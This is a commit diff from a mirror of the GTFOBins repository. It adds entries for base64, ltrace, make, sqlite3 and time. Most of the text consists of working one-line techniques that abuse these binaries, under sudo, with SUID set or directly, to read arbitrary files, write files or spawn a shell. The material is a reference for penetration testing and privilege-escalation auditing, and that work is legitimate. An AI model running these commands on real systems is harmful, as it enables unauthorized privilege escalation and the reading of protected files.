mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 22:40:10 +01:00
Add base64, ltrace, make, sqlite3, time
This commit is contained in:
parent
6e6cbb66a7
commit
5fa7efbc1c
15
_gtfobins/base64.md
Normal file
15
_gtfobins/base64.md
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
---
|
||||||
|
functions:
|
||||||
|
sudo-enabled:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
sudo base64 "$LFILE" | base64 -d
|
||||||
|
suid-enabled:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
./base64 "$LFILE" | base64 -d
|
||||||
|
file-read:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
base64 "$LFILE" | base64 -d
|
||||||
|
---
|
7
_gtfobins/ltrace.md
Normal file
7
_gtfobins/ltrace.md
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
---
|
||||||
|
functions:
|
||||||
|
execute-interactive:
|
||||||
|
- code: ltrace -b -L /bin/sh
|
||||||
|
sudo-enabled:
|
||||||
|
- code: sudo ltrace -b -L /bin/sh
|
||||||
|
---
|
23
_gtfobins/make.md
Normal file
23
_gtfobins/make.md
Normal file
@ -0,0 +1,23 @@
|
|||||||
|
---
|
||||||
|
functions:
|
||||||
|
execute-interactive:
|
||||||
|
- code: |
|
||||||
|
COMMAND='/bin/sh 1>&2'
|
||||||
|
make -s --eval="a := \$(info \$(shell $COMMAND))" --eval='all:'
|
||||||
|
execute-non-interactive:
|
||||||
|
- code: |
|
||||||
|
COMMAND=/usr/bin/id
|
||||||
|
make -s --eval="a := \$(info \$(shell $COMMAND))" --eval='all:'
|
||||||
|
sudo-enabled:
|
||||||
|
- code: |
|
||||||
|
COMMAND=/usr/bin/id
|
||||||
|
sudo make -s --eval="a := \$(info \$(shell $COMMAND))" --eval='all:'
|
||||||
|
suid-enabled:
|
||||||
|
- code: |
|
||||||
|
COMMAND=/usr/bin/id
|
||||||
|
./make -s --eval="a := \$(info \$(shell $COMMAND))" --eval='all:'
|
||||||
|
file-write:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_write
|
||||||
|
make -s --eval="a := \$(file >$LFILE,data)" --eval='all:'
|
||||||
|
---
|
27
_gtfobins/sqlite3.md
Normal file
27
_gtfobins/sqlite3.md
Normal file
@ -0,0 +1,27 @@
|
|||||||
|
---
|
||||||
|
functions:
|
||||||
|
sudo-enabled:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
sudo sqlite3 << EOF
|
||||||
|
CREATE TABLE t(line TEXT);
|
||||||
|
.import $LFILE t
|
||||||
|
SELECT * FROM t;
|
||||||
|
EOF
|
||||||
|
suid-enabled:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
./sqlite3 << EOF
|
||||||
|
CREATE TABLE t(line TEXT);
|
||||||
|
.import $LFILE t
|
||||||
|
SELECT * FROM t;
|
||||||
|
EOF
|
||||||
|
file-read:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
sqlite3 << EOF
|
||||||
|
CREATE TABLE t(line TEXT);
|
||||||
|
.import $LFILE t
|
||||||
|
SELECT * FROM t;
|
||||||
|
EOF
|
||||||
|
---
|
12
_gtfobins/time.md
Normal file
12
_gtfobins/time.md
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
---
|
||||||
|
description: |
|
||||||
|
Note that the shell might have its own builtin time implementation, which may
|
||||||
|
behave differently than /usr/bin/time.
|
||||||
|
functions:
|
||||||
|
execute-interactive:
|
||||||
|
- code: /usr/bin/time /bin/sh
|
||||||
|
sudo-enabled:
|
||||||
|
- code: sudo /usr/bin/time /bin/sh
|
||||||
|
suid-enabled:
|
||||||
|
- code: ./time /bin/sh -p
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user